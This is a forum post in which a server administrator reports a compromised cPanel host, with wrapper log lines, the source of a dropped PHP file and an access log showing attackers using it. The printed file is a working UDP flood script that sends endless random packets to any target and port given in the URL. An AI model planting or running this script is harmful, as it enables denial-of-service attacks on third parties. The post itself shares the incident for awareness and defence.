This Server of mine that got hacked, how I am not too sure. Possible an injection with cPanel?
At the same time as this happened:
Code:
Sep 12 20:15:49 web Cp-Wrap[2531]: Pushing "649 GETDOMAINIP xxxxxxx.xx.xx " to '/usr/local/cpanel/bin/apacheadmin' for UID: 649
Sep 12 20:15:49 web Cp-Wrap[2531]: CP-Wrapper terminated without error
Sep 12 20:15:49 web Cp-Wrap[2534]: Pushing "649 LISTSUBDOMAINS 0 " to '/usr/local/cpanel/bin/apacheadmin' for UID: 649
Sep 12 20:15:49 web Cp-Wrap[2534]: CP-Wrapper terminated without error
Sep 12 20:15:49 web Cp-Wrap[2536]: Pushing "649 LISTMULTIPARKED 0 " to '/usr/local/cpanel/bin/apacheadmin' for UID: 649
Sep 12 20:15:49 web Cp-Wrap[2536]: CP-Wrapper terminated without error
Sep 12 20:15:49 web Cp-Wrap[2538]: Pushing "649 COUNTDBS" to '/usr/local/cpanel/bin/mysqladmin' for UID: 649
Sep 12 20:15:49 web Cp-Wrap[2538]: CP-Wrapper terminated without error
Sep 12 20:15:49 web Cp-Wrap[2542]: Pushing "649 GETDISK" to '/usr/local/cpanel/bin/mysqladmin' for UID: 649
Sep 12 20:15:50 web Cp-Wrap[2542]: CP-Wrapper terminated without error
Sep 12 20:15:50 web Cp-Wrap[2549]: Pushing "649 LISTSTORE 0 0 " to '/usr/local/cpanel/bin/ftpadmin' for UID: 649
Sep 12 20:15:50 web Cp-Wrap[2549]: CP-Wrapper terminated without error
this file appeared on the customers xxxxxxx.xx.xx website
-rw-r--r-- 1 eastern eastern 418 Sep 12 20:16 oyes.php
containing
Code:
<?php
if(!$_GET['target'])
{
die('');
}
$target = $_GET['target'];
if(!$_GET['port'])
{
die('');
}
$port = $_GET['port'];
$sock=socket_create(AF_INET,SOCK_DGRAM,SOL_UDP);
if(!$sock) die("Cant Create Socket!!!");
$data='';
for($i=0;$i<1400;$i++)
{
$data.=chr(rand(0,255));
}
while(true)
{
if(!socket_sendto($sock,$data,strlen($data),0,$target,$port)) die("Error SendTo!!!");
}
?>
This was injected from 66.90.103.27, I have already contacted them to see what they may have to say.
After the injection of this php file a different IP address then started sending requests to this PHP file such as this:
Code:
208.38.181.149 - - [16/Sep/2009:04:46:29 +1200] "GET /oyes.php?target=70.84.89.186&port=21 HTTP/1.1" 200 241 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9.1"
I am basically writing this to make people aware. I have cleaned up the problem and stopped the possibility of UDP packets being spewed from this server, but my bigger concern is I do not know definitively how they got in.
I don't think it was a password hack, but neither does a crafted cpanel attack seem likely as it was so surgical.
Anyone got any ideas?